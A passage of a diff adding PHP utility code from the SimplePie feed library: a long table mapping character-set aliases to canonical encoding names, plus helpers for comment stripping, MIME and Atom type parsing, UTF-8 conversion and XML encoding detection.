+			case 'ISO-IR-110':
+			case 'ISO_8859-4':
+			case 'ISO_8859-4:1988':
+			case 'L4':
+			case 'LATIN4':
+				return 'ISO-8859-4';
+	
+			case 'CSISOLATINCYRILLIC':
+			case 'CYRILLIC':
+			case 'ISO-8859-5':
+			case 'ISO-IR-144':
+			case 'ISO_8859-5':
+			case 'ISO_8859-5:1988':
+				return 'ISO-8859-5';
+	
+			case 'ARABIC':
+			case 'ASMO-708':
+			case 'CSISOLATINARABIC':
+			case 'ECMA-114':
+			case 'ISO-8859-6':
+			case 'ISO-IR-127':
+			case 'ISO_8859-6':
+			case 'ISO_8859-6:1987':
+				return 'ISO-8859-6';
+	
+			case 'CSISO88596E':
+			case 'ISO-8859-6-E':
+			case 'ISO_8859-6-E':
+				return 'ISO-8859-6-E';
+	
+			case 'CSISO88596I':
+			case 'ISO-8859-6-I':
+			case 'ISO_8859-6-I':
+				return 'ISO-8859-6-I';
+	
+			case 'CSISOLATINGREEK':
+			case 'ECMA-118':
+			case 'ELOT_928':
+			case 'GREEK':
+			case 'GREEK8':
+			case 'ISO-8859-7':
+			case 'ISO-IR-126':
+			case 'ISO_8859-7':
+			case 'ISO_8859-7:1987':
+				return 'ISO-8859-7';
+	
+			case 'CSISOLATINHEBREW':
+			case 'HEBREW':
+			case 'ISO-8859-8':
+			case 'ISO-IR-138':
+			case 'ISO_8859-8':
+			case 'ISO_8859-8:1988':
+				return 'ISO-8859-8';
+	
+			case 'CSISO88598E':
+			case 'ISO-8859-8-E':
+			case 'ISO_8859-8-E':
+				return 'ISO-8859-8-E';
+	
+			case 'CSISO88598I':
+			case 'ISO-8859-8-I':
+			case 'ISO_8859-8-I':
+				return 'ISO-8859-8-I';
+	
+			case 'CSISOLATIN5':
+			case 'ISO-8859-9':
+			case 'ISO-IR-148':
+			case 'ISO_8859-9':
+			case 'ISO_8859-9:1989':
+			case 'L5':
+			case 'LATIN5':
+				return 'ISO-8859-9';
+	
+			case 'CSWINDOWS31LATIN5':
+			case 'ISO-8859-9-WINDOWS-LATIN-5':
+				return 'ISO-8859-9-Windows-Latin-5';
+	
+			case 'CSUNICODEIBM1261':
+			case 'ISO-UNICODE-IBM-1261':
+				return 'ISO-Unicode-IBM-1261';
+	
+			case 'CSUNICODEIBM1264':
+			case 'ISO-UNICODE-IBM-1264':
+				return 'ISO-Unicode-IBM-1264';
+	
+			case 'CSUNICODEIBM1265':
+			case 'ISO-UNICODE-IBM-1265':
+				return 'ISO-Unicode-IBM-1265';
+	
+			case 'CSUNICODEIBM1268':
+			case 'ISO-UNICODE-IBM-1268':
+				return 'ISO-Unicode-IBM-1268';
+	
+			case 'CSUNICODEIBM1276':
+			case 'ISO-UNICODE-IBM-1276':
+				return 'ISO-Unicode-IBM-1276';
+	
+			case 'CSISO10367BOX':
+			case 'ISO-IR-155':
+			case 'ISO_10367-BOX':
+				return 'ISO_10367-box';
+	
+			case 'CSISO2033':
+			case 'E13B':
+			case 'ISO-IR-98':
+			case 'ISO_2033-1983':
+				return 'ISO_2033-1983';
+	
+			case 'CSISO5427CYRILLIC':
+			case 'ISO-IR-37':
+			case 'ISO_5427':
+				return 'ISO_5427';
+	
+			case 'ISO-IR-54':
+			case 'ISO5427CYRILLIC1981':
+			case 'ISO_5427:1981':
+				return 'ISO_5427:1981';
+	
+			case 'CSISO5428GREEK':
+			case 'ISO-IR-55':
+			case 'ISO_5428:1980':
+				return 'ISO_5428:1980';
+	
+			case 'CSISO646BASIC1983':
+			case 'ISO_646.BASIC:1983':
+			case 'REF':
+				return 'ISO_646.basic:1983';
+	
+			case 'CSISO2INTLREFVERSION':
+			case 'IRV':
+			case 'ISO-IR-2':
+			case 'ISO_646.IRV:1983':
+				return 'ISO_646.irv:1983';
+	
+			case 'CSISO6937ADD':
+			case 'ISO-IR-152':
+			case 'ISO_6937-2-25':
+				return 'ISO_6937-2-25';
+	
+			case 'CSISOTEXTCOMM':
+			case 'ISO-IR-142':
+			case 'ISO_6937-2-ADD':
+				return 'ISO_6937-2-add';
+	
+			case 'CSISO8859SUPP':
+			case 'ISO-IR-154':
+			case 'ISO_8859-SUPP':
+			case 'LATIN1-2-5':
+				return 'ISO_8859-supp';
+	
+			case 'CSISO15ITALIAN':
+			case 'ISO-IR-15':
+			case 'ISO646-IT':
+			case 'IT':
+				return 'IT';
+	
+			case 'CSISO13JISC6220JP':
+			case 'ISO-IR-13':
+			case 'JIS_C6220-1969':
+			case 'JIS_C6220-1969-JP':
+			case 'KATAKANA':
+			case 'X0201-7':
+				return 'JIS_C6220-1969-jp';
+	
+			case 'CSISO14JISC6220RO':
+			case 'ISO-IR-14':
+			case 'ISO646-JP':
+			case 'JIS_C6220-1969-RO':
+			case 'JP':
+				return 'JIS_C6220-1969-ro';
+	
+			case 'CSISO42JISC62261978':
+			case 'ISO-IR-42':
+			case 'JIS_C6226-1978':
+				return 'JIS_C6226-1978';
+	
+			case 'CSISO87JISX0208':
+			case 'ISO-IR-87':
+			case 'JIS_C6226-1983':
+			case 'JIS_X0208-1983':
+			case 'X0208':
+				return 'JIS_C6226-1983';
+	
+			case 'CSISO91JISC62291984A':
+			case 'ISO-IR-91':
+			case 'JIS_C6229-1984-A':
+			case 'JP-OCR-A':
+				return 'JIS_C6229-1984-a';
+	
+			case 'CSISO92JISC62991984B':
+			case 'ISO-IR-92':
+			case 'ISO646-JP-OCR-B':
+			case 'JIS_C6229-1984-B':
+			case 'JP-OCR-B':
+				return 'JIS_C6229-1984-b';
+	
+			case 'CSISO93JIS62291984BADD':
+			case 'ISO-IR-93':
+			case 'JIS_C6229-1984-B-ADD':
+			case 'JP-OCR-B-ADD':
+				return 'JIS_C6229-1984-b-add';
+	
+			case 'CSISO94JIS62291984HAND':
+			case 'ISO-IR-94':
+			case 'JIS_C6229-1984-HAND':
+			case 'JP-OCR-HAND':
+				return 'JIS_C6229-1984-hand';
+	
+			case 'CSISO95JIS62291984HANDADD':
+			case 'ISO-IR-95':
+			case 'JIS_C6229-1984-HAND-ADD':
+			case 'JP-OCR-HAND-ADD':
+				return 'JIS_C6229-1984-hand-add';
+	
+			case 'CSISO96JISC62291984KANA':
+			case 'ISO-IR-96':
+			case 'JIS_C6229-1984-KANA':
+				return 'JIS_C6229-1984-kana';
+	
+			case 'CSJISENCODING':
+			case 'JIS_ENCODING':
+				return 'JIS_Encoding';
+	
+			case 'CSHALFWIDTHKATAKANA':
+			case 'JIS_X0201':
+			case 'X0201':
+				return 'JIS_X0201';
+	
+			case 'CSISO159JISX02121990':
+			case 'ISO-IR-159':
+			case 'JIS_X0212-1990':
+			case 'X0212':
+				return 'JIS_X0212-1990';
+	
+			case 'CSISO141JUSIB1002':
+			case 'ISO-IR-141':
+			case 'ISO646-YU':
+			case 'JS':
+			case 'JUS_I.B1.002':
+			case 'YU':
+				return 'JUS_I.B1.002';
+	
+			case 'CSISO147MACEDONIAN':
+			case 'ISO-IR-147':
+			case 'JUS_I.B1.003-MAC':
+			case 'MACEDONIAN':
+				return 'JUS_I.B1.003-mac';
+	
+			case 'CSISO146SERBIAN':
+			case 'ISO-IR-146':
+			case 'JUS_I.B1.003-SERB':
+			case 'SERBIAN':
+				return 'JUS_I.B1.003-serb';
+	
+			case 'KOI7-SWITCHED':
+				return 'KOI7-switched';
+	
+			case 'CSKOI8R':
+			case 'KOI8-R':
+				return 'KOI8-R';
+	
+			case 'KOI8-U':
+				return 'KOI8-U';
+	
+			case 'CSKSC5636':
+			case 'ISO646-KR':
+			case 'KSC5636':
+				return 'KSC5636';
+	
+			case 'CSKSC56011987':
+			case 'ISO-IR-149':
+			case 'KOREAN':
+			case 'KSC_5601':
+			case 'KS_C_5601-1987':
+			case 'KS_C_5601-1989':
+				return 'KS_C_5601-1987';
+	
+			case 'CSKZ1048':
+			case 'KZ-1048':
+			case 'RK1048':
+			case 'STRK1048-2002':
+				return 'KZ-1048';
+	
+			case 'CSISO27LATINGREEK1':
+			case 'ISO-IR-27':
+			case 'LATIN-GREEK-1':
+				return 'Latin-greek-1';
+	
+			case 'CSMNEM':
+			case 'MNEM':
+				return 'MNEM';
+	
+			case 'CSMNEMONIC':
+			case 'MNEMONIC':
+				return 'MNEMONIC';
+	
+			case 'CSISO86HUNGARIAN':
+			case 'HU':
+			case 'ISO-IR-86':
+			case 'ISO646-HU':
+			case 'MSZ_7795.3':
+				return 'MSZ_7795.3';
+	
+			case 'CSMICROSOFTPUBLISHING':
+			case 'MICROSOFT-PUBLISHING':
+				return 'Microsoft-Publishing';
+	
+			case 'CSNATSDANO':
+			case 'ISO-IR-9-1':
+			case 'NATS-DANO':
+				return 'NATS-DANO';
+	
+			case 'CSNATSDANOADD':
+			case 'ISO-IR-9-2':
+			case 'NATS-DANO-ADD':
+				return 'NATS-DANO-ADD';
+	
+			case 'CSNATSSEFI':
+			case 'ISO-IR-8-1':
+			case 'NATS-SEFI':
+				return 'NATS-SEFI';
+	
+			case 'CSNATSSEFIADD':
+			case 'ISO-IR-8-2':
+			case 'NATS-SEFI-ADD':
+				return 'NATS-SEFI-ADD';
+	
+			case 'CSISO151CUBA':
+			case 'CUBA':
+			case 'ISO-IR-151':
+			case 'ISO646-CU':
+			case 'NC_NC00-10:81':
+				return 'NC_NC00-10:81';
+	
+			case 'CSISO69FRENCH':
+			case 'FR':
+			case 'ISO-IR-69':
+			case 'ISO646-FR':
+			case 'NF_Z_62-010':
+				return 'NF_Z_62-010';
+	
+			case 'CSISO25FRENCH':
+			case 'ISO-IR-25':
+			case 'ISO646-FR1':
+			case 'NF_Z_62-010_(1973)':
+				return 'NF_Z_62-010_(1973)';
+	
+			case 'CSISO60DANISHNORWEGIAN':
+			case 'CSISO60NORWEGIAN1':
+			case 'ISO-IR-60':
+			case 'ISO646-NO':
+			case 'NO':
+			case 'NS_4551-1':
+				return 'NS_4551-1';
+	
+			case 'CSISO61NORWEGIAN2':
+			case 'ISO-IR-61':
+			case 'ISO646-NO2':
+			case 'NO2':
+			case 'NS_4551-2':
+				return 'NS_4551-2';
+	
+			case 'OSD_EBCDIC_DF03_IRV':
+				return 'OSD_EBCDIC_DF03_IRV';
+	
+			case 'OSD_EBCDIC_DF04_1':
+				return 'OSD_EBCDIC_DF04_1';
+	
+			case 'OSD_EBCDIC_DF04_15':
+				return 'OSD_EBCDIC_DF04_15';
+	
+			case 'CSPC8DANISHNORWEGIAN':
+			case 'PC8-DANISH-NORWEGIAN':
+				return 'PC8-Danish-Norwegian';
+	
+			case 'CSPC8TURKISH':
+			case 'PC8-TURKISH':
+				return 'PC8-Turkish';
+	
+			case 'CSISO16PORTUGUESE':
+			case 'ISO-IR-16':
+			case 'ISO646-PT':
+			case 'PT':
+				return 'PT';
+	
+			case 'CSISO84PORTUGUESE2':
+			case 'ISO-IR-84':
+			case 'ISO646-PT2':
+			case 'PT2':
+				return 'PT2';
+	
+			case 'CP154':
+			case 'CSPTCP154':
+			case 'CYRILLIC-ASIAN':
+			case 'PT154':
+			case 'PTCP154':
+				return 'PTCP154';
+	
+			case 'SCSU':
+				return 'SCSU';
+	
+			case 'CSISO10SWEDISH':
+			case 'FI':
+			case 'ISO-IR-10':
+			case 'ISO646-FI':
+			case 'ISO646-SE':
+			case 'SE':
+			case 'SEN_850200_B':
+				return 'SEN_850200_B';
+	
+			case 'CSISO11SWEDISHFORNAMES':
+			case 'ISO-IR-11':
+			case 'ISO646-SE2':
+			case 'SE2':
+			case 'SEN_850200_C':
+				return 'SEN_850200_C';
+	
+			case 'CSSHIFTJIS':
+			case 'MS_KANJI':
+			case 'SHIFT_JIS':
+				return 'Shift_JIS';
+	
+			case 'CSISO128T101G2':
+			case 'ISO-IR-128':
+			case 'T.101-G2':
+				return 'T.101-G2';
+	
+			case 'CSISO102T617BIT':
+			case 'ISO-IR-102':
+			case 'T.61-7BIT':
+				return 'T.61-7bit';
+	
+			case 'CSISO103T618BIT':
+			case 'ISO-IR-103':
+			case 'T.61':
+			case 'T.61-8BIT':
+				return 'T.61-8bit';
+	
+			case 'CSTSCII':
+			case 'TSCII':
+				return 'TSCII';
+	
+			case 'CSUNICODE11':
+			case 'UNICODE-1-1':
+				return 'UNICODE-1-1';
+	
+			case 'CSUNICODE11UTF7':
+			case 'UNICODE-1-1-UTF-7':
+				return 'UNICODE-1-1-UTF-7';
+	
+			case 'CSUNKNOWN8BIT':
+			case 'UNKNOWN-8BIT':
+				return 'UNKNOWN-8BIT';
+	
+			case 'ANSI':
+			case 'ANSI_X3.4-1968':
+			case 'ANSI_X3.4-1986':
+			case 'ASCII':
+			case 'CP367':
+			case 'CSASCII':
+			case 'IBM367':
+			case 'ISO-IR-6':
+			case 'ISO646-US':
+			case 'ISO_646.IRV:1991':
+			case 'US':
+			case 'US-ASCII':
+				return 'US-ASCII';
+	
+			case 'UTF-16':
+				return 'UTF-16';
+	
+			case 'UTF-16BE':
+				return 'UTF-16BE';
+	
+			case 'UTF-16LE':
+				return 'UTF-16LE';
+	
+			case 'UTF-32':
+				return 'UTF-32';
+	
+			case 'UTF-32BE':
+				return 'UTF-32BE';
+	
+			case 'UTF-32LE':
+				return 'UTF-32LE';
+	
+			case 'UTF-7':
+				return 'UTF-7';
+	
+			case 'UTF-8':
+				return 'UTF-8';
+	
+			case 'CSVIQR':
+			case 'VIQR':
+				return 'VIQR';
+	
+			case 'CSVISCII':
+			case 'VISCII':
+				return 'VISCII';
+	
+			case 'CSVENTURAINTERNATIONAL':
+			case 'VENTURA-INTERNATIONAL':
+				return 'Ventura-International';
+	
+			case 'CSVENTURAMATH':
+			case 'VENTURA-MATH':
+				return 'Ventura-Math';
+	
+			case 'CSVENTURAUS':
+			case 'VENTURA-US':
+				return 'Ventura-US';
+	
+			case 'CSWINDOWS31J':
+			case 'WINDOWS-31J':
+				return 'Windows-31J';
+	
+			case 'CSDKUS':
+			case 'DK-US':
+				return 'dk-us';
+	
+			case 'CSISO150':
+			case 'CSISO150GREEKCCITT':
+			case 'GREEK-CCITT':
+			case 'ISO-IR-150':
+				return 'greek-ccitt';
+	
+			case 'CSISO88GREEK7':
+			case 'GREEK7':
+			case 'ISO-IR-88':
+				return 'greek7';
+	
+			case 'CSISO18GREEK7OLD':
+			case 'GREEK7-OLD':
+			case 'ISO-IR-18':
+				return 'greek7-old';
+	
+			case 'CSHPROMAN8':
+			case 'HP-ROMAN8':
+			case 'R8':
+			case 'ROMAN8':
+				return 'hp-roman8';
+	
+			case 'CSISO90':
+			case 'ISO-IR-90':
+				return 'iso-ir-90';
+	
+			case 'CSISO19LATINGREEK':
+			case 'ISO-IR-19':
+			case 'LATIN-GREEK':
+				return 'latin-greek';
+	
+			case 'CSISO158LAP':
+			case 'ISO-IR-158':
+			case 'LAP':
+			case 'LATIN-LAP':
+				return 'latin-lap';
+	
+			case 'CSMACINTOSH':
+			case 'MAC':
+			case 'MACINTOSH':
+				return 'macintosh';
+	
+			case 'CSUSDK':
+			case 'US-DK':
+				return 'us-dk';
+	
+			case 'CSISO70VIDEOTEXSUPP1':
+			case 'ISO-IR-70':
+			case 'VIDEOTEX-SUPPL':
+				return 'videotex-suppl';
+	
+			case 'WINDOWS-1250':
+				return 'windows-1250';
+	
+			case 'WINDOWS-1251':
+				return 'windows-1251';
+	
+			case 'CP819':
+			case 'CSISOLATIN1':
+			case 'IBM819':
+			case 'ISO-8859-1':
+			case 'ISO-IR-100':
+			case 'ISO_8859-1':
+			case 'ISO_8859-1:1987':
+			case 'L1':
+			case 'LATIN1':
+			case 'WINDOWS-1252':
+				return 'windows-1252';
+	
+			case 'WINDOWS-1253':
+				return 'windows-1253';
+	
+			case 'WINDOWS-1254':
+				return 'windows-1254';
+	
+			case 'WINDOWS-1255':
+				return 'windows-1255';
+	
+			case 'WINDOWS-1256':
+				return 'windows-1256';
+	
+			case 'WINDOWS-1257':
+				return 'windows-1257';
+	
+			case 'WINDOWS-1258':
+				return 'windows-1258';
+	
+			default:
+				return $encoding;
+		}
+	}
+
+	function get_curl_version()
+	{
+		if (is_array($curl = curl_version()))
+		{
+			$curl = $curl['version'];
+		}
+		elseif (substr($curl, 0, 5) == 'curl/')
+		{
+			$curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5));
+		}
+		elseif (substr($curl, 0, 8) == 'libcurl/')
+		{
+			$curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8));
+		}
+		else
+		{
+			$curl = 0;
+		}
+		return $curl;
+	}
+
+	function is_subclass_of($class1, $class2)
+	{
+		if (func_num_args() != 2)
+		{
+			trigger_error('Wrong parameter count for SimplePie_Misc::is_subclass_of()', E_USER_WARNING);
+		}
+		elseif (version_compare(PHP_VERSION, '5.0.3', '>=') || is_object($class1))
+		{
+			return is_subclass_of($class1, $class2);
+		}
+		elseif (is_string($class1) && is_string($class2))
+		{
+			if (class_exists($class1))
+			{
+				if (class_exists($class2))
+				{
+					$class2 = strtolower($class2);
+					while ($class1 = strtolower(get_parent_class($class1)))
+					{
+						if ($class1 == $class2)
+						{
+							return true;
+						}
+					}
+				}
+			}
+			else
+			{
+				trigger_error('Unknown class passed as parameter', E_USER_WARNNG);
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Strip HTML comments
+	 *
+	 * @access public
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	function strip_comments($data)
+	{
+		$output = '';
+		while (($start = strpos($data, '<!--')) !== false)
+		{
+			$output .= substr($data, 0, $start);
+			if (($end = strpos($data, '-->', $start)) !== false)
+			{
+				$data = substr_replace($data, '', 0, $end + 3);
+			}
+			else
+			{
+				$data = '';
+			}
+		}
+		return $output . $data;
+	}
+
+	function parse_date($dt)
+	{
+		$parser = SimplePie_Parse_Date::get();
+		return $parser->parse($dt);
+	}
+
+	/**
+	 * Decode HTML entities
+	 *
+	 * @static
+	 * @access public
+	 * @param string $data Input data
+	 * @return string Output data
+	 */
+	function entities_decode($data)
+	{
+		$decoder = new SimplePie_Decode_HTML_Entities($data);
+		return $decoder->parse();
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @access public
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	function uncomment_rfc822($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+		
+		$output = '';
+		
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+							
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+		
+		return $output;
+	}
+
+	function parse_mime($mime)
+	{
+		if (($pos = strpos($mime, ';')) === false)
+		{
+			return trim($mime);
+		}
+		else
+		{
+			return trim(substr($mime, 0, $pos));
+		}
+	}
+
+	function htmlspecialchars_decode($string, $quote_style)
+	{
+		if (function_exists('htmlspecialchars_decode'))
+		{
+			return htmlspecialchars_decode($string, $quote_style);
+		}
+		else
+		{
+			return strtr($string, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
+		}
+	}
+
+	function atom_03_construct_type($attribs)
+	{
+		if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) == 'base64'))
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_BASE64;
+		}
+		else
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_NONE;
+		}
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+				case 'text/plain':
+					return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+
+				case 'html':
+				case 'text/html':
+					return SIMPLEPIE_CONSTRUCT_HTML | $mode;
+
+				case 'xhtml':
+				case 'application/xhtml+xml':
+					return SIMPLEPIE_CONSTRUCT_XHTML | $mode;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE | $mode;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+		}
+	}
+
+	function atom_10_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+		}
+		return SIMPLEPIE_CONSTRUCT_TEXT;
+	}
+
+	function atom_10_content_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			$type = strtolower(trim($attribs['']['type']));
+			switch ($type)
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+			}
+			if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) == 'text/')
+			{
+				return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+			else
+			{
+				return SIMPLEPIE_CONSTRUCT_BASE64;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT;
+		}
+	}
+
+	function is_isegment_nz_nc($string)
+	{
+		return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
+	}
+
+	function space_seperated_tokens($string)
+	{
+		$space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
+		$string_length = strlen($string);
+
+		$position = strspn($string, $space_characters);
+		$tokens = array();
+
+		while ($position < $string_length)
+		{
+			$len = strcspn($string, $space_characters, $position);
+			$tokens[] = substr($string, $position, $len);
+			$position += $len;
+			$position += strspn($string, $space_characters, $position);
+		}
+
+		return $tokens;
+	}
+
+	function array_unique($array)
+	{
+		if (version_compare(PHP_VERSION, '5.2', '>='))
+		{
+			return array_unique($array);
+		}
+		else
+		{
+			$array = (array) $array;
+			$new_array = array();
+			$new_array_strings = array();
+			foreach ($array as $key => $value)
+			{
+				if (is_object($value))
+				{
+					if (method_exists($value, '__toString'))
+					{
+						$cmp = $value->__toString();
+					}
+					else
+					{
+						trigger_error('Object of class ' . get_class($value) . ' could not be converted to string', E_USER_ERROR);
+					}
+				}
+				elseif (is_array($value))
+				{
+					$cmp = (string) reset($value);
+				}
+				else
+				{
+					$cmp = (string) $value;
+				}
+				if (!in_array($cmp, $new_array_strings))
+				{
+					$new_array[$key] = $value;
+					$new_array_strings[] = $cmp;
+				}
+			}
+			return $new_array;
+		}
+	}
+
+	/**
+	 * Converts a unicode codepoint to a UTF-8 character
+	 *
+	 * @static
+	 * @access public
+	 * @param int $codepoint Unicode codepoint
+	 * @return string UTF-8 character
+	 */
+	function codepoint_to_utf8($codepoint)
+	{
+		static $cache = array();
+		$codepoint = (int) $codepoint;
+		if (isset($cache[$codepoint]))
+		{
+			return $cache[$codepoint];
+		}
+		elseif ($codepoint < 0)
+		{
+			return $cache[$codepoint] = false;
+		}
+		else if ($codepoint <= 0x7f)
+		{
+			return $cache[$codepoint] = chr($codepoint);
+		}
+		else if ($codepoint <= 0x7ff)
+		{
+			return $cache[$codepoint] = chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0xffff)
+		{
+			return $cache[$codepoint] = chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0x10ffff)
+		{
+			return $cache[$codepoint] = chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else
+		{
+			// U+FFFD REPLACEMENT CHARACTER
+			return $cache[$codepoint] = "\xEF\xBF\xBD";
+		}
+	}
+
+	/**
+	 * Re-implementation of PHP 5's stripos()
+	 *
+	 * Returns the numeric position of the first occurrence of needle in the
+	 * haystack string.
+	 *
+	 * @static
+	 * @access string
+	 * @param object $haystack
+	 * @param string $needle Note that the needle may be a string of one or more
+	 *     characters. If needle is not a string, it is converted to an integer
+	 *     and applied as the ordinal value of a character.
+	 * @param int $offset The optional offset parameter allows you to specify which
+	 *     character in haystack to start searching. The position returned is still
+	 *     relative to the beginning of haystack.
+	 * @return bool If needle is not found, stripos() will return boolean false.
+	 */
+	function stripos($haystack, $needle, $offset = 0)
+	{
+		if (function_exists('stripos'))
+		{
+			return stripos($haystack, $needle, $offset);
+		}
+		else
+		{
+			if (is_string($needle))
+			{
+				$needle = strtolower($needle);
+			}
+			elseif (is_int($needle) || is_bool($needle) || is_double($needle))
+			{
+				$needle = strtolower(chr($needle));
+			}
+			else
+			{
+				trigger_error('needle is not a string or an integer', E_USER_WARNING);
+				return false;
+			}
+	
+			return strpos(strtolower($haystack), $needle, $offset);
+		}
+	}
+
+	/**
+	 * Similar to parse_str()
+	 *
+	 * Returns an associative array of name/value pairs, where the value is an
+	 * array of values that have used the same name
+	 *
+	 * @static
+	 * @access string
+	 * @param string $str The input string.
+	 * @return array
+	 */
+	function parse_str($str)
+	{
+		$return = array();
+		$str = explode('&', $str);
+
+		foreach ($str as $section)
+		{
+			if (strpos($section, '=') !== false)
+			{
+				list($name, $value) = explode('=', $section, 2);
+				$return[urldecode($name)][] = urldecode($value);
+			}
+			else
+			{
+				$return[urldecode($section)][] = null;
+			}
+		}
+
+		return $return;
+	}
+	
+	/**
+	 * Detect XML encoding, as per XML 1.0 Appendix F.1
+	 *
+	 * @todo Add support for EBCDIC
+	 * @param string $data XML data
+	 * @return array Possible encodings
+	 */
+	function xml_encoding($data)
+	{
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$encoding[] = 'UTF-16LE';
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$encoding[] = 'UTF-8';
+		}
+		// UTF-32 Big Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E"))
+			{
+				$parser = new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00"))
+			{
+				$parser = new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x3F\x00\x3E"))
+			{
+				$parser = new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x3E\x00"))
+			{
+				$parser = new SimplePie_XML_Declaration_Parser(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8'));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16LE';
+		}
